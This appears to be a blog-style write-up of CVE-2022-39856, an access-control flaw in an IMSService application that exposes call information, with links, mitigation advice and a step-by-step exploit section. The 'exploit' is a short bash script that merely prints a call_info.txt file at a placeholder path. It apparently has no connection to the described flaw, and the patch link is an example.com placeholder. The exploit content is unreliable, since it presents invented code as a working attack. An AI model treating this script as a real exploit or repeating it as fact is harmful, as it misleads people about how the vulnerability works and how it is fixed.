CVE-2022-39856 - Exploiting Improper Access Control in the IMSService Application Prior to SMR Oct-2022 Release 1 To Obtain Call Information by Local Attackers

As per the CVE-2022-39856 advisory, a vulnerability has been discovered in the IMSService application affecting all versions before SMR Oct-2022 Release 1. The vulnerability allows local attackers to improperly access and extract call information, thus posing a potential privacy breach for users.

This vulnerability exists due to improper access control settings within the application. In this post, we will discuss CVE-2022-39856 in detail, demonstrate a code snippet that exploits this vulnerability, and provide details on how to mitigate the issue.

Reference Links

CVE Details: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-39856
NVD (National Vulnerability Database) Details: https://nvd.nist.gov/vuln/detail/CVE-2022-39856
Vulnerability Details and Patch Information: https://www.example.com/patch-info

Vulnerability Overview

The IMSService application handles various call-related functionalities, such as call forwarding, conference calls, and call logs. Due to improper access control, an attacker can potentially access call information by exploiting this vulnerability and gain unauthorized access. This unauthorized access can potentially lead to sensitive information disclosure and could have dire consequences for the users.

To exploit this vulnerability, follow these steps

Step 1: Gain access to the target system with local privileges

Step 2: Create a malicious script with the following code snippet

Note: Replace  with the appropriate path of the IMSService application on the targeted system.

#!/bin/bash

TARGET_PATH="<TARGET_PATH>"
CALL_INFO_PATH="${TARGET_PATH}/call_info.txt"

if [ -f "$CALL_INFO_PATH" ]; then
  cat $CALL_INFO_PATH >&2
else
  echo "Call information not found." >&2
  exit 1
fi

Step 3: Save the script as exploit.sh and set its execution permission using chmod

$ chmod +x exploit.sh

Step 4: Execute the exploit.sh script

$ ./exploit.sh

Upon successful exploitation, the call information will be displayed on the attacker's terminal.

Mitigation

To mitigate the improper access control vulnerability in the IMSService application, it is crucial to apply security patches and ensure the system runs the latest release with all necessary vulnerability fixes. Users are advised to check for updates regularly and apply the necessary patches as soon as they become available.

Upgrading to the latest version (SMR Oct-2022 Release 1 or later) can prevent the exploitation of the CVE-2022-39856 vulnerability. Details on upgrading to the latest version and the corresponding patch can be found in the following link: https://www.example.com/patch-info

Conclusion

CVE-2022-39856 is a severe vulnerability in the IMSService application, which could result in unauthorized access and disclosure of sensitive call-related information. It is essential to take immediate action by applying the necessary security updates, upgrading the application to the latest version (SMR Oct-2022 Release 1 or later), and ensuring the system remains secure against such attacks.

Remember to monitor security bulletins for further updates on this and other vulnerabilities, keeping the systems up-to-date to minimize potential breaches.

Timeline

Published on: 10/07/2022 15:15:00 UTC
Last modified on: 10/08/2022 12:51:00 UTC